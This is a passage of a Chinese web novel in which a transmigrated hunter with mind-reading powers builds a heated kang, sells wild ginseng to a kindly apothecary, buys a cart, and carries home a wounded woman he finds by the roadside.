“蘑菇能跟肉比吗?我怎么就嫁了你这么个憨货!还以为他李三真的改好了,我看啊他跟以前没两样!”刘氏越说越气双手抱在胸前,呼哧呼哧的喘着粗气。
“哎呦?刚进院就听见嫂嫂念叨我,肯定是在夸我呢吧?”
李逸的声音突然从门口传来,手里还拎着那只剥了皮的野兔。
刘氏的眼睛瞬间亮了连忙站起身,双手在衣襟上蹭了蹭,满脸堆笑地迎上来:
“李三兄弟来了!快进屋坐,吃饭了吗?没吃嫂嫂给你盛粥!”她的目光,自始至终都没离开过李逸手里的兔子。
“不用,我吃了,这是给你们带的。”
李逸把兔子递了过去笑着说,“今天多亏了铁牛哥陪我进山,还帮我扛狍子,这兔子你们收下,千万别嫌弃啊。”
刘氏故作推辞,手却紧紧攥着兔肉不放:“哎呀!你这太客气了!都是自家兄弟,怎么好意思要你的东西?你还是拿回去,给弟媳们补补身子吧。”
何铁牛就好像没有看到自家婆娘的眼神,站起身憨憨说:
“对啊!李三兄弟,这兔子你拿回去.....”
“铁牛哥,你可不能推辞啊。”
李逸转头看向还要继续说话的何铁牛,抢先说道:
“这几天你帮我修门修屋顶忙前忙后的,我一直记在心里,再说...这兔子不是给你的,是给小牛的,他正是长身体的时候,吃点肉才能长得壮壮的。”
刘氏在一旁不停地给何铁牛使眼色,生怕他傻愣愣地再拒绝。
“东西送到我就先回去了,不打扰你们吃饭。”李逸转身要走,又想起了什么,回头道:“对了铁牛哥,明天我打算搭火炕,还得麻烦你过来帮忙。”
何铁牛送李逸出门,脸上满是愧疚:“李三兄弟,我家那婆娘……让你见笑了。”
李逸拍了拍他的肩膀,真诚地说:“铁牛哥,村里我最佩服的人就是你,你也别多想,我别的不行就会打打猎,以后少不了要麻烦你,咱们互相帮衬着把日子过好,一起吃饱饭才是正事,来年种地还得靠你多指点呢。”
这番话听得何铁牛心里暖暖的,他仰起头拍着胸脯保证:“放心吧兄弟!以后有啥事,你尽管开口,我铁牛绝不含糊!咱们一起把日子过好!”
回到屋里,刘氏看着手里的肥兔子,笑得合不拢嘴:
“这么大一只兔子,够咱们吃好几顿了!这肥膘还能炼点油,以后炒菜也香!”
“嗯......这李三确实是和以前不一样,以后你多跟他进山打猎”
何铁牛看着自家婆娘的模样,无奈地摇了摇头,心里却对李逸多了几分敬佩。
第十一章:神奇的火炕
“李三兄弟,起来没?”
何铁牛的大嗓门隔着院墙传进来,震得窗都轻轻颤了颤,人还没进院,那股子爽朗的劲儿已经先到了。
李逸走到院中笑着应道:“早等着呢,就差你了!”
天不亮他就叫起了白雪儿和于巧倩,先把那张摇摇晃晃的破木桌拖到外屋,又将里屋的小木床挪到另一侧,今天要拆墙扩屋搭个更宽敞的火炕。
大荒村的房子大多是木屋,毕竟靠着山林砍木头方便得很,而在乡里和县城,能够看到的土坯房比较多。
李逸心里早就盘算过,土坯房比木屋坚固又保暖,特别适合北方的冬天,他真想把这破木屋整个翻盖了,可眼瞅着入冬在即,时间实太赶不及,只能先搭好火炕凑活过这个冬天。
何铁牛推着木车去拉黄土和泥,李逸则带着二女动手拆里屋和外屋的隔墙,那隔墙本就是些松木板钉的,三人齐心协力,没费多大劲就拆得干干净净。将隔墙的位置移上半米,里屋就能腾出更多地方,让火炕能搭得更宽大些。
白雪儿和于巧倩还是头回听说火炕,只听李逸说搭好后冬天就不怕冷了,心里都藏着几分期待,有些笨手笨脚地跟在李逸身后帮忙。
院墙外.....
王赖子双手揣在袖筒里,拖着伤腿一瘸一拐地晃着,远远看见何铁牛推着满满一车黄土经过,他眯起小眼睛,心里犯了嘀咕:“这憨牛拉这么多黄土干啥,看方向是往李三家去的?”
这几日的李三实在反常,不是天天往山里跑,就是出村一整天不回,听说还攒下了不少粮食。王赖子越想越不对劲,一瘸一拐地挪到李三家附近,躲在院外的大杨树下探头探脑。
看到李三和那两个身段婀娜的小媳妇正忙着往院里搬土坯砖,王赖子忍不住砸了咂嘴,眼神黏在二女身上,心里又开始痒痒:“这是要盖房子?都这时候了才动工?”
看见何铁牛在院里和泥,王赖子更是纳闷:“这憨牛以前最瞧不上我和李三,怎么现在反倒跟李三这小子凑到一块儿了?这里面肯定有猫腻,准是有我不知道的好事!”
院里正忙活的热火朝天.....
何铁牛把粟米秸秆切成比较均匀的小段混进黄土堆里,泼上清水,拿起木铲使劲搅拌,没一会儿,一堆松散的黄土就变成了黏稠的黄泥,黏得能拉出丝来。
李逸在屋里规划好火炕的位置出来喊他:“铁牛哥,麻烦你把地面再夯实些,不然炕容易塌。”
“好说!”何铁牛放下木铲,转身扛起一根腰粗的大木桩,大步走进屋。
砰砰砰的闷响接连传来,没几下就把地面夯得结结实实,连灰尘都没扬起多少。
接下来就是搭火炕的关键步骤,李逸指挥着一层黄泥一层土坯砖,先把火炕的框架垒起来,顺便确定了新锅灶的位置,他心里有清晰的蓝图,可何铁牛却看得一头雾水,只能李逸说怎么砌,他就怎么递砖抹泥。
四人从大清早忙到日头西斜,总算把火炕和新灶台都搭好了。
因为房体是木头的,李逸特意多费了些功夫,垒了个高高的烟囱,一直伸出屋顶,还在接口处抹了厚厚的黄泥,防止冒烟。
最后,他又在火炕表面仔细抹了一层细黄泥,既能加固又显得平整美观,借着多余的土坯砖,把里屋和外屋的隔墙重新砌了起来,比之前的木板墙结实多了。
把大铁锅挪到新灶台上,李逸让白雪儿拿来柴火引燃。
火苗噼里啪啦地烧起来,烟顺着灶膛钻进火炕的通道,最后从屋顶的烟囱顺利排了出去,火炕渐渐透出温热,连屋里的空气都暖和了不少。
何铁牛这才彻底看明白,拍着大腿惊呼:“哎哟哟!原来如此!这火炕可真是个宝贝啊!火烧得越旺炕就越暖和,冬天睡上面就算不盖被子也冻不着!李逸兄弟,我明天就去推黄土做土坯砖,也给我老娘搭一个!”
“没问题,到时候我去帮你。”李逸笑着点头。
晚饭吃的是剩下的狍子肉,配着热乎乎的粟米粥,何铁牛扒了两大碗急匆匆地回家,要给自家婆娘分享这火炕的奇妙之处。
白雪儿摸着渐渐发热的火炕,大眼睛亮得像星星,满脸崇拜地看着李逸:
“夫君,这火炕真的会冒热气!以后冬天再也不用冻得缩成一团了,夫君你太厉害了!”
李逸伸手刮了下她的鼻尖,笑道:“现在还不能睡,得等黄泥彻底干透,不然容易裂。再等几日咱们就能舒舒服服睡暖炕了。”
夜里,三人躺在床上却都没心思睡,不约而同地侧着身子盯着新搭的火炕发呆。
【夫君真厉害,什么都会做!】
【这火炕闻所未闻,夫君是从哪里学来的?他身上好像有很多秘密。】
听着二女的心声,李逸差点忍不住笑出声。
白雪儿的心思最简单,满脑子都是对他的崇拜,要么就是惦记着吃的,于巧倩则心思细腻,总爱琢磨些事情,有自己的判断力不会轻易盲从。
李逸觉得这样挺好,两人的性格刚好互补。
接下来的几天,李逸特意叮嘱二女,给灶膛添柴时别烧得太旺,免得温度太高把火炕表面的黄泥烤裂了。
何铁牛隔天就来看看,摸到火炕温热的触感干劲儿更足了,推着木车一趟趟往返西坡拉黄土,打算入冬前给老娘和自己屋里都搭上火炕。
李逸想过去帮忙却被他拒绝了:“做土坯砖我一个人就行,你赶紧去打猎囤粮食,等搭炕的时候再叫你。”
这边李逸和何铁牛互帮互助,把日子过得有声有色,可把王赖子给愁坏了。
他天天在附近转悠,却始终找不到下手报复的机会,只能眼睁睁看着李三家的日子越过越好。
终于,四天后,火炕的黄泥彻底干透了。
晚上,白雪儿迫不及待地铺上草席和被褥,第一个跳上炕,开心地打滚:
“好暖和!好宽敞啊!夫君真厉害!”
那模样像个得到心爱玩具的孩子,于巧倩看着她雀跃的样子,嘴角也露出了一抹浅浅的微笑。
李逸正好转头看过来,看着她的笑容忍不住夸赞:“倩儿,你笑起来真好看,以后该多笑笑。”
于巧倩的脸颊瞬间红了,有些不好意思地绞了绞鬓边的头发,低下头小声道:“夫君说笑了……”
“夫君说得对!姐姐笑起来就是很好看!”
白雪儿连忙帮腔,还拉着于巧倩的胳膊让她别害羞。
为了让火炕保持温度,灶膛里的火这几天就没断过,炕头的位置热得有些烫手。
白雪儿本来想睡在炕头,却被李逸拦住了:“炕头太烫,睡久了容易上火生病,你风寒刚好,可不能再折腾了。”
白雪儿乖乖听话,没再央求,她怕自己再生病拖累李逸,心里早就把这里当成了真正的家。
三人盖着从陈掌柜那换回来的被褥,很厚实很软乎,李逸用旧被子铺在草席上,自己睡在一侧,白雪儿和于巧倩挤在一个被窝里躺在另一侧。
以前挤在那张破木床上,翻个身都费劲,如今睡在宽大的火炕上,简直是天壤之别。
半夜,李逸迷迷糊糊感觉到怀里钻进一个温热的小身子,低头一看,原来是白雪儿不知什么时候偷偷挪了过来,蜷缩在他怀里,小脸带着满足的微笑,睡得正香。
于巧倩一开始还暗自担忧,怕李逸会提出侍寝的要求,毕竟以前被李三那般羞辱,她和白雪儿都留下了心理阴影。
可自从李逸改变后,从来没提过这方面的要求,待她们始终温和尊重,这份小心翼翼的体贴,让于巧倩心里渐渐暖了起来。
第二天一早,李逸起身去院子里方便,眼角余光瞥见墙头有个裹着破麻布的脑袋一闪而过,只看一眼,他就认出了这是那令人厌烦的王赖子。
李逸心里冷笑,这无赖果然还没死心。
他打断王赖子一条腿,就知道这人肯定会记仇,只是没想到他这么沉不住气,天天在院外窥探,快步走出院子,看到王赖子正一瘸一拐地往远处挪。
李逸几步追上去,拦在王赖子面前,眯着眼睛质问:“王赖子,大清早地在我家墙外晃悠,又在打什么坏主意?”
王赖子眼神闪烁,梗着脖子强装镇定:“什么你家墙外?院子外头的路是你家的?我早起遛弯不行吗?”
【李三你这个杀千刀的!等老子腿好了再收拾你,把那两个小娘们卖到乡里窑子!到时候看你还怎么得意!】
“哦?”李逸挑眉,语气冰冷:“你是在盘算等腿好了就找我报仇吧,还要抢我的媳妇?”
王赖子吓得浑身一哆嗦,脸色瞬间变了,怀疑自己刚才不小心把心里话念了出来。
他心虚得厉害,却还是硬着头皮顶嘴:“怎么了?你打断我的腿就想当没事发生了?这笔账,我迟早要跟你算!”
李逸冷哼一声,眼神里满是鄙夷:
“王赖子,明着告诉你,我根本不怕你报复。你当初为什么被我打断腿,自己心里清楚。你敢来惹我,我就敢加倍奉还。做事之前你最好掂量掂量自己的分量!”
说完,李逸不再看他,转身就往家走。
王赖子看着他的背影,气得浑身发抖却不敢追上去,只能狠狠啐了一口:“呸!小人得志!刚吃了几天饱饭,就不知道自己姓啥了!”
李逸根本没把他放在眼里,王赖子这种人就像条癞皮狗,只要不主动来招惹,他懒得搭理。
可要是他不长眼,真敢暗地里使坏,李逸不介意再给他点教训,甚至把他当成猎物射上一箭。
一整天,李逸都在帮何铁牛家搭火炕,刘氏听说火炕暖和非要让铁牛先在他们屋里搭一个大火炕,剩下的土坯砖只给何铁牛的老娘搭了个小小的窄炕,有了上次的经验,一天时间两人就把两个火炕都搭好了。
晚上,刘氏嘴上说着要留李逸吃饭,却迟迟不生火做饭,最后只端出一碗凉粥。
何铁牛满脸尴尬,李逸却毫不在意,笑了笑就起身告辞。
回到家,李逸盘算着明天的行程:
去一趟乡里,找个石匠打造一个小石磨,顺便把攒下的山货和兔皮卖掉,那张袍子皮他暂时不打算卖。最重要的是,他上次进山时发现了一株野山参,虽然个头不大,但品相不错,想来比之前卖的那两株灵芝加起来还要值钱,有了这笔钱,这个冬天就能过得更宽裕了。
第十二章:再去乡里
一早跟白雪儿,于巧倩交代清楚后,李逸又踏上了出村的土路,天气逐渐寒冷晨露已经开始变成白霜,霜冻之后也就预示着冬日降临。
“唉……这连个代步的家伙事儿都没有,全靠两条腿丈量路,既费鞋子又耗体力,还耽误时间。”
李逸忍不住仰头叹了口气,眉宇间堆着几分无奈。
从大荒村到乡里足有六十里地,去县城更是要走九十多里,往后若是真要做些什么买卖,这大半时间怕是都要耗在往返的路上了。
这年月,马车那可是达官显贵才能享用的坐骑,二十多年的藩王争霸,不光把人打没了,连马匹都成了金贵的稀罕物。
就算是等李逸的手头宽裕了,眼下他能接触到的也只有驴,骡子和牛这些大牲畜。
牛是地里的好帮手,用它拉车虽能驮些重物,可那速度慢得能急死人,不然现代也不会有牛车这种形容磨蹭的词儿。
李逸有物品栏,压根不用愁装载的问题,他真正在意的是怎么能走得快些节省。
高头大马暂时是别指望了,骡子和驴倒可以琢磨琢磨,这年代种地能有几头大牲口,终究是能省不少力气,也方便得多。
最近气温一天比一天低,身上那件旧冬衣还能凑活抵挡一阵。李逸低头瞅了瞅脚上于巧倩缝补过的布鞋,心里盘算着,除非打算整个冬天都闷在村里不出门,否则一双新鞋是必不可少的。
晌午刚过,李逸总算到了乡里,他目标明确,第一站就直奔陈掌柜的药铺。
背上还是上次那只破竹筐,只是里面铺的不再是柴火,换成了装着山货的旧麻袋。
远远就看见药铺门口有人忙活,走近了才看清是伙计小六,正拿着扫帚清扫那些不知从哪儿吹过来的落叶。
“伙计,陈掌柜在吗?”李逸开口问道。
小六停下手里的活,侧头打量了他一番,瞧着这张脸和身上的衣裳都有些眼熟,愣了愣才反应过来:“是你!”
他总算想起来了,这正是前几天来给媳妇求药的农户,上回不管是东家还是小姐,都对这农户印象不错。
“东家在呢,你自己进屋找他吧。”小六指了指药铺大门,示意他自便。
“多谢。”
李逸道了声谢上前推门,铺子里的一切还和上次来时一样干净整洁,陈掌柜正站在药柜前仔细检查各类药材,模样秀丽比白雪儿大不了几岁的玉竹小姐则坐在桌边写字。
这样恬静温馨的画面让李逸心头泛起一丝暖意,想着若是白雪儿和于巧倩家里没遭逢变故,也该是这般安稳模样吧。
陈玉竹听到动静侧过头,正好对上李逸望过来的目光,见他正一眨不眨地盯着自己,心头莫名一慌,手下的笔猛地一顿,一个字顿时写歪了,她慌忙低下头,目光躲闪着不敢再看。
李逸连忙移开视线,村里的妇女的性子直爽多泼辣,没那么多讲究,可乡里和县里有头有脸人家的姑娘就不同了,这般直勾勾地盯着未出阁的姑娘,实在有些失礼。
“陈掌柜,玉竹小姐。”
陈掌柜见是那个印象不错的小伙子,当即笑着招呼:“呵呵呵,是你啊,快进来。”
李逸在门口使劲跺了跺脚上的尘土,才迈步走进铺子。
“你家媳妇的风寒怎么样了?”陈掌柜语气和善地问道。
“已经好了,四副药就彻底痊愈了,陈掌柜的医术,小子打心底里佩服。”李逸诚恳地说:“今天过来,是给您送些山货,聊表谢意。”
说着,他放下麻袋打开,里面全是精心挑选出的品相上乘的干蘑菇。
陈掌柜笑着摆了摆手:“这些干蘑都是你辛苦采来的,上回的我们尝过味道确实好,这样吧,我按集市价把这些干蘑收了。”
李逸连忙按住麻袋:“陈掌柜要是这样,这干蘑我可就不卖给您了。”
陈掌柜愣了一下,抬手点了点他,笑道:“呵呵,你这小子,倒也没看上去那么实诚,还有些小滑头。”
李逸不好意思地笑了笑,从怀里摸出一个用布层层包裹着的东西,轻轻放在柜台上:
“前几日挖到的,麻烦陈掌柜给掌掌眼。”
“哦?”
见他这般珍重,陈掌柜顿时来了兴致,走到柜台前小心翼翼地打开包裹。
“嘶.....”
看清里面的东西,陈掌柜倒吸一口凉气,眼睛下意识地睁大了。
【竟然是一株野山参!年份至少在三十年以上,少说也值一万钱!】
李逸听到他的心声,差点没控制住脸上的表情。这个价格比他预想的高出太多,让他内心狂跳不已,现在就看陈掌柜怎么说了。
“这株野山参有些年头了,你采摘的手法很得当,根须缺失的极少!”陈掌柜的声音难掩激动,“好东西,这可是不可多得的珍稀药材!”
他顿了顿,又补充道:“就这一条根须,关键时刻都能给将死之人吊上一口气,只可惜,你这株野山参,我这小药铺实在收不起,你还是去县城的大药铺问问吧。”
李逸有些诧异,这么珍贵的药材,陈掌柜竟然真的不动心?世上真有这样的人?
“还请陈掌柜告知,这株野山参到底值多少钱?”
陈掌柜轻轻将野山参放下,眼底满是惋惜:“以我收售药材的经验,这株野山参至少能换万钱。若是遇到急需救命的大户人家或是达官显贵,那更是有价无市!”
“万钱!”
即便刚才已经听到了他的心声,此刻亲耳听到,李逸还是心头一震。
他早知道这野山参值钱,却没想到会这么夸张。堪比十头野猪,不,比十头野猪还要值钱得多!
更难得的是,在万钱的利诱下陈掌柜还能做到表里如一,这份品德,让李逸打心底里佩服。
陈掌柜苦笑着摇了摇头:“所以说,你这药材,我这小铺子实在消受不起。”
李逸没有去拿柜台上的野山参,心里快速盘算起来。
上回一头野猪,他去县城都差点被人坑进大牢,这换成价值万钱的野山参,还不知道会惹出什么麻烦。
况且,这一万钱是陈掌柜给出的实价,就算去了县城的大药铺,人家未必会给这么公道的价格。
思索片刻,李逸心中有了主意。这荒年日子难熬,不光穷苦农户过得艰难,商户的钱也不好赚,像粮店徐店主那样的人,想必不在少数。
他将布包往陈掌柜面前又推了推:“陈掌柜,您对我家媳妇有救命之恩,我信得过您的为人。这株野山参,我就以万钱卖给您,您可以分几次给我铜钱。”
“像您这样有医德的人,这株野山参在您手里才能真正成为救人命的良药,换做旁人,说不定就成了圈钱的工具。”
“哦?”
陈掌柜被他这番话惊到,这可不是几百钱而是一万钱!别说穷苦农户,就是乡里的富户听了也难免动心,眼前这小伙子却如此干脆地做了决定。
“你……当真这么想?就不怕我事后反悔,不认账吗?”陈掌柜表情严肃,语气无比认真地问道。
李逸重重点头:“当然不怕!我信您的为人。能有这般医德,还能教出玉竹小姐这样知书达理的姑娘,您的人品我绝对信得过。”
陈玉竹一直在旁边静静听着,突然被人这般夸赞,俏脸瞬间染上一层绯红,从耳根一直蔓延到脖颈,烫得像是要冒热气。
陈掌柜忍不住重新打量起眼前的年轻人,一个农户,竟比许多读书人还要明事理。
【这年轻人在我见过的同龄人里,绝对是数一数二的,若是出身高些,将来必定能有一番作为。】
陈掌柜当即不再推辞,重重一点头:“好!你既如此信我,这株野山参我便收下了。你稍等,我这就去给你取钱。”
他转身进了后屋,药铺里只剩下李逸和陈玉竹两人。
陈玉竹低着头,手指绞着衣角,时不时偷偷抬眼瞄一下李逸,耳边全是自己砰砰的心跳声。
李逸蹲下身,在竹筐里翻找了片刻,拿出一张雪白的兔皮,皮毛油亮,成色极佳。
【好漂亮的皮子!】
陈玉竹一眼就看中了,心里暗暗盘算:冬日里用它做一顶皮帽,或是一条围脖,定是极好看的。
不多时,陈掌柜抱着一个木匣子从后屋出来,打开匣子,他从中取出五串铜钱,每一串都是整整一千钱。
“这是五千钱,剩下的五千,我给你写一张欠条。”陈掌柜转头对女儿说:“玉竹,给这位小兄弟写张欠条。”
他顿了顿,又问道:“对了,还没问小兄弟你叫什么名字?”
“李逸,大荒村的李逸。”
李逸接过铜钱揣进怀里,趁着陈掌柜郑重收起野山参的功夫,将那张兔皮放在柜台上:
“陈掌柜,这兔皮是我前几日刚猎到的,就赠予玉竹小姐做顶帽子吧,还望您别推辞。”
陈掌柜哈哈一笑:“好,那我就替玉竹收下。玉竹,过来谢过李小兄弟。”
陈玉竹闻言,迈着小碎步走到李逸面前,微微欠身施礼:“玉竹谢过李大哥,这是你的欠条。”
她双手捧着欠条递过去,李逸伸手去接时,指尖不小心碰到了她的手指,陈玉竹像被烫到一般慌忙低下头,脸颊红得更厉害了。
“陈掌柜,玉竹小姐,我还要去买些东西,就先告辞了。”
陈掌柜点头道:“好,那我就不留你了,慢走。”
李逸背起破筐,在父女二人的注视下走出了药铺。
过了好一会儿,陈掌柜才笑着开口:“还看呢?人都走远了。”
“爹……您说什么呢。”
陈玉竹回过神,连忙低下头,少女的心思全写在了脸上,手里紧紧攥着那张柔软的兔皮。
陈掌柜淡然一笑:“这李逸品行不错,心思玲珑,还擅长察言观色。虽说出身差了些,倒也是个值得托付的人。”
紧接着叹了口气,又道:“只可惜他已经成了亲,让你嫁去做小,你娘若是还在定然不会同意的。”
陈玉竹心里掠过一丝失落,娇嗔地瞪了父亲一眼:“爹……女儿这辈子都不嫁,就留在您身边侍奉您。”
第十三章:捡回来一个女人
身上多了五千钱,李逸总算体验了回大户人家的滋味,他在集市里转悠时,腰板都不自觉挺得笔直,连脚步都轻快了几分。
许是天气太冷,今日集市上的摊贩寥寥无几,先前李逸本想把那张袍子皮也卖掉,可野山参带来的收益远超预期,便改了他的主意。
这皮子留着可以做件冬衣或者是内衬的马甲,毕竟冬日里总不能一直宅在村子里,可要是在天寒地冻的环境下赶路,没件厚实的御寒衣物可不行,冻伤了也会很麻烦。
“瞧一瞧看一看喽!能拉脚的大牲口,来年开春种地的好帮手哟!”
一阵吆喝声传来,李逸循声望去,只见一个中年男人牵着一头灰扑扑的大骡子站在路边。
李逸顿时来了兴致,快步走上前询问:“大叔,你这骡子怎么卖?”
中年男人上下打量了他一番,怎么看都觉得这年轻的后生买不起他的大骡子,不过一上午也没几个人问价,闲着也是闲着他还是随口答道:“八千钱,少一个铜板都不卖啊!”
“八千钱?”
李逸眼睛瞪得溜圆,他卖一头野猪才赚不到一千钱,这一头骡子竟然要价八千!有点离谱啊!
见他这副惊愕的模样,中年男人轻哼一声:“呵,八千你还嫌贵?你去县城里打听打听,没有一万钱,想都别想买到大牲口,我这价格买到就是赚到了!”
李逸尴尬地笑了笑,转身快步离开。
他之前想得太简单,还以为买头驴或骡子,有个两三千钱就足够了。
转念一想,他便想通了其中的门道。
野猪肉和家养猪都是按斤卖的吃食,而大牲口的价值在于帮人拉货干活,能节省人力创造出更高的收益。
一头大牲口只要好生喂养,不遭瘟不生病,能连续干好几年活,这期间会源源不断地创造价值,价格自然不能同日而语。
可这么算下来,他刚入账的五千钱巨款,竟然只能买半头大牲口。
“好吧……看来我还得再努力亿点点。”李逸无奈地摇了摇头。
一番打听后,他找到了乡里唯一的石匠,远远的就看到,那个身材瘦削皮肤黝黑的中年男人正叮叮当当敲打着石块,看样子是在制作墓碑。
“请问,你是王石匠吗?”
听到有人问话,中年男人放下手中的锤子和凿子,抬眼看来:“我就是,你有什么事吗?”
李逸上前一步,说明来意:“我想请你帮我打个物件儿,不知道你能不能做,需要多少钱?”
王石匠一听,心里顿时一喜。
最近活计少等这墓碑做完,他就没什么营生了,手艺人是没活干就没钱,没钱就没粮,要养家糊口,一张张嘴都等着吃饭,日子难捱得很。
“你说说看,要做个什么物件?”王石匠连忙追问道。
李逸蹲到他身边,一边用手指在地上画着图形,一边细细描述:“就是两个圆形的大石盘,上面要凿些孔洞,叠在一起能转动的那种,石面不能太光滑......”
李逸所描述的便是石磨,构造不算复杂,难的是将原石凿成规整的圆盘,还要精准地打出孔洞,摩擦面最好是上下起伏的波浪面,王石匠皱着眉思索了片刻,虽说不清楚这物件儿的用途,但他仔细琢磨后,觉得自己是能做出来的。
李逸满眼期待地盯着他,心里早已盘算开了,天天喝粟米粥,他实在是想换个口味,有了石磨,他就能做些粗粮面的吃食了。
“可以做。”王石匠点了点头,紧接着问道:“石料是你自己出,还是用我的?”
“当然用你的,你可得给我算便宜点啊。”李逸欣喜地说道。
“着急要吗?”王石匠又问。
见李逸点头,他稍作思量后说:“成!天黑前你来取,连工带料,算你一百五十钱。”
李逸当即从怀里摸出二十枚铜钱递过去:“好,就这么说定了,这是定钱,剩下的我取货时一并给你。”
见这后生如此爽快,王石匠更是高兴:“好说!我尽快帮你弄出来”
两人又确认了石磨的大致尺寸,王石匠便转身去石料堆里挑选合适的石头了。
逛遍整个集市,李逸最终添置了一件大件,豪掷千钱,全款买了一辆板车。
这是辆双轮板车,比何铁牛家的手推车稍大些,用途却广得多。
既能手推,也能肩拉,将来有了牲口还能套上牲口拉货,李逸很清楚自己以后少不了往乡里和县城跑,总借何铁牛家的推车也不是什么长久之计,索性他自己买一辆。
虽说买大牲口的钱还不够,但买辆板车是绰绰有余的,总共花了九百钱,物美价廉!
按常理,这样的板车至少能卖一千两百钱,只因这车子做出来有些时日,那木匠也急于脱手,李逸一番讨价还价,总算捡了个便宜。
他依稀记得,县城里这样的板车要卖到一千三百多钱,虽说乡里的货物不如县城齐全,但同样的东西,价格确实要实惠不少。
之后,他又在打铁铺买了些木工工具,家里再有什么零碎活计,也能自己试着动手解决,不能什么事都麻烦何铁牛。
日落后,李逸准时返回石匠铺,王石匠也刚好完工,两个石磨盘叠放在一起,严丝合缝,孔洞的大小和形状也完全符合要求。
付清剩余的铜钱,李逸把石磨盘搬到板车上,拉着车准备返程,虽说已是黄昏,但他并不打算在乡里过夜。
离开乡里没多远,他便将板车和石磨一并收进了物品栏,真要一路拉回去,他非得累成一头骡子不可。
黄昏过后,天色很快就黑透了,这条土路要经过五个村子,大荒村是最后的终点。
“呼.......”
一阵寒风骤起,卷起地上的尘沙,李逸下意识地眯起了眼睛。
他大致估算了一下,现在才走了一半路程,不由得加快了脚步,若非有物品栏能省些力气,他断然不会选择连夜赶路。
月明星稀,清冷的月光洒在土路上,勉强能看清这条隐藏在荒野中的小路。
又往前走了一段,李逸忽然停下脚步,疑惑地转头望向身后。
刚才经过的地方,似乎有个人趴在草丛里,只露出上半个身子,只因对方藏在杂草的阴影中,他方才竟没发现。
第一次在夜路上遇到其他人,还是以这种诡异的方式,一股凉意从尾椎骨直窜头顶,让人头皮发麻。
驻足观察了片刻,确认那确实是一个人,趴在地上一动不动仿佛是个假人,又或是一具尸体……
“算了,多一事不如少一事,就当没看见吧.....”李逸咬了咬牙,准备转身离开。
这世道混乱不堪,为了生计落草为寇打家劫舍的人不在少数,还是别惹麻烦为妙。
可好奇心终究占了上风,李逸鬼使神差地又退了回去。
离着两米远,他看清了那人的模样,穿着一身黑衣,趴在地上几乎与阴影融为一体,也难怪来时没注意到。
这人脸朝下趴在地上,整张脸埋在泥土里,看样子已经在这里趴了许久。
“死....死了?”李逸心头一沉。
这地方前不着村后不着店,对方为何会趴在这里?难道是遭遇了劫匪强人,被杀害后弃尸荒野?
罢了,一具尸体而已,还是赶紧走吧。
他正要转身,却见趴在地上的人微微动了一下,就这一个细微的动作,足以证明对方还活着。
“喂!你是谁?为什么趴在这里?”李逸大着胆子问了一句,悄悄从物品栏里取出匕首,握在手中以防不测。
地上的人半天没有回应,但刚才的动弹让他侧过了头,露出了半张脸。
李逸本以为对方会是个满脸横肉,带着刀疤的粗狂汉子,可借着微弱的月光,他看到的却是一张清瘦的巴掌脸,这样子竟是个女子!
他愈发诧异了,难道是附近村子的村妇,赶路时遇到了劫匪?
李逸壮着胆子上前,从物品栏里摸出一根木柴,试探性地轻轻戳了戳对方,见没有回应,他索性凑近了些,伸手探了探对方的鼻息。
这女人呼吸极其微弱,已是命悬一线。
“喂!醒醒!”李逸又呼唤了两声,对方依旧毫无反应。
来路不明的人,莫名其妙的状况……还是别管了。
李逸站起身,正要离开,可转念一想,这毕竟是条活生生的人命啊。
天寒地冻的深夜,他若是置之不理,这人定然活不过今晚。
穿越之前,遇到流浪猫流浪狗他都心生怜悯,眼下可是个大活人,怎么能眼睁睁的看着对方死去?穿越前顾忌碰瓷儿不敢轻易施救,总不能穿越到这乱世,连救人的勇气都没有吧?
想到这里,李逸不再犹豫,上前将那人翻过身,从草丛里拖了出来,彻底确认了对方的性别是个女人。
她的身形不算胖,但骨架不小,整个过程中,女人始终一动不动像是失去了所有意识。
既然已经动手,便没有半途而废的道理,李逸从物品栏里取出板车,将不算太重的女人拖到车上放好,顶着头顶的明月,独自一人在土路上拉着车前行。
多亏了天寒地冻,土层的表面上冻变硬,拉车才省了不少力气。
这一路拉下来,李逸总算体会到了拉车的苦楚,也更深刻地意识到一头大牲口的重要性。
我靠,等手头的钱攒够了,必须买一头骡子或是驴子啊!
另一边,大荒村李逸家。
于巧倩和白雪儿盘腿坐在热炕头上。有了火炕,屋子里暖烘烘的,即便不钻被窝,也不会觉得寒冷。
白雪儿凑到窗边,透过缝隙向外望了一眼。
深夜的窗外漆黑一片,只有天上的繁星和一轮明月点缀着夜空。
“姐姐,夫君今晚是不是回不来了?”白雪儿转过身,语气里满是担忧。
于巧倩思索着点了点头:“嗯,都这个时辰了,想来是有什么事耽搁了,所以在乡里歇下了。”
“好吧……”白雪儿低下头,语气中带着几分失落。
一天见不到夫君,她心里总觉得空落落的。
于巧倩见状,忍不住轻笑一声:“呵......雪儿这是想夫君了?”
白雪儿抬起头,理所当然地点了点头:“当然啦,他是我的夫君呀,雪儿喜欢现在这个变好的夫君。”
“那你就不怕他哪天又变回去?”于巧倩故意逗她。
“变回去?”白雪儿脸色瞬间紧张起来,眉头紧紧的皱起,一脸纠结:“夫君...他还会变回去吗?”
第十四章:石磨面粉,穿越的第一碗面
“睡吧……夫君今晚该是不回来了,我去瞧瞧外屋的门关严实没有。”
于巧倩轻手轻脚起身,走向外屋。
上回王赖子那档子事,至今仍让她心头发紧,虽说李逸已打断那无赖一条腿,可她总觉得对方不会善罢甘休,凡事总得小心提防着才好。
“倩儿,雪儿,快出来搭把手!”
刚要转身回屋,李逸的呼喊声便穿透了夜的静谧。
“夫君回来了!”
里屋的白雪儿一听这熟悉的声音,当即喜上眉梢,跳下炕脚步轻快地奔到外屋。
清冷的月光洒在院子里,李逸浑身冒着热气,将一架木板车重重放下,胸膛剧烈起伏,嘴里不住地喘着粗气。
“快……帮我把这人抬进屋里炕上去。”
“哦……”
于巧倩与满脸错愕的白雪儿回过神来,连忙应声上前,三人合力将车上的人抬进了里屋。
“哎哟,可累死我了。”李逸抹了把额角的汗。
“雪儿,给夫君端碗水来。”
白雪儿手脚麻利地端来一大碗凉水,看着李逸仰头咕咚咕咚一饮而尽,喉结滚动的模样,眼底满是心疼。
“夫君……这女子是?”于巧倩望着炕上昏迷的女人,满脸疑惑地问道。
李逸摇了摇头:“不认识,回来时见她趴在路边的草丛中便顺手救回来了,你和雪儿仔细看看,她像是受了重伤。”
借着油灯昏黄的光,二人这才看清,女子身上虽穿着黑衣,却仍能隐约瞧见多处破损,此刻脱下外衣,更是触目惊心,身上有好几道狰狞的利器割伤,右肩头还插着半截断箭,血迹早已浸透了衣料。
白雪儿和于巧倩原本以为她是不堪凌虐逃出的可怜人,见此情景顿时慌了神,齐声喊道:“夫君,你快进来看看!”
